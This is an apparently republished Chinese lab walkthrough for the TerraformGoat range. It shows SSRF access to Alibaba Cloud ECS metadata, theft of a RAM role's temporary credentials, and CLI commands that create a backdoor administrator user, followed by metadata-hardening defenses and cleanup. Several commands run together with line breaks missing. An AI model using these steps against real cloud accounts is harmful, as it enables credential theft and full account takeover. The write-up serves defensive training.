文章首发于：
火线Zone社区（https://zone.huoxian.cn/）
0x00 前言
git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1cd TerraformGoatdocker build . -t terraformgoat:v0.0.3docker run -itd --name terraformgoat terraformgoat:v0.0.3docker exec -it terraformgoat /bin/bash
proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url
cd /TerraformGoat/aliyun/ecs/ecs_ssrf/aliyun configure
terraform initterraform apply
http://100.100.100.200/latest/meta-data
这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称，可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role
aliyun configure --mode StsToken
aliyun ram CreateUser --UserName teamssixaliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
aliyun ram GetAccountAlias
另外这个环境里还放了一个 flag 文件，你如果感兴趣的话，可以动手去尝试找到这个 flag，Writeup 地址：https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf
-
RAM 角色权限过大，导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作 -
元数据未做加固访问，导致一旦目标存在 SSRF 漏洞，元数据就存在被获取的风险
-
在创建实例时，可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」
-
在已经创建好的实例中，可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问，OpenAPI 地址：https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/
将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供。
aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssixaliyun ram DeleteUser --UserName teamssix
在销毁靶场之前，记得把 AccessKey 配置成最开始的 AccessKey，配置命令：aliyun configure --mode AK
terraform destroy
docker stop terraformgoatdocker rm terraformgoatdocker rmi terraformgoat:v0.0.3
-
ECS 实例需要被授予 RAM 角色，不然访问临时凭证的元数据会返回 404 -
RAM 角色需要具备 ram 访问控制的相关操作权限，例如创建用户、赋予权限等，不然临时秘钥会没有创建子用户的权限。
在实战中，如果遇到了 ECS 实例被授予了 RAM 角色的情况，大多时候该角色都是不具备创建用户权限的，这时就没法通过创建子账号登录控制台的方式了，只能通过阿里云命令行工具去操作目标云服务了。
-
云上攻防的常见问题是配置错误，例如这里的问题就是 RAM 角色配置权限过高。 -
云上攻防的权限维持主要方法是创建 RAM 高权限用户，而不是像传统攻防里那样有五花八门的权限维持方法。 -
云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向，从这个云服务横向到另一个云服务，而不是像传统攻防那样有各种各样的内网横向手法。 -
……
参考文章
好文推荐
原文始发于微信公众号（系统安全运维）：从云服务器 SSRF 漏洞到接管你的阿里云控制台
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论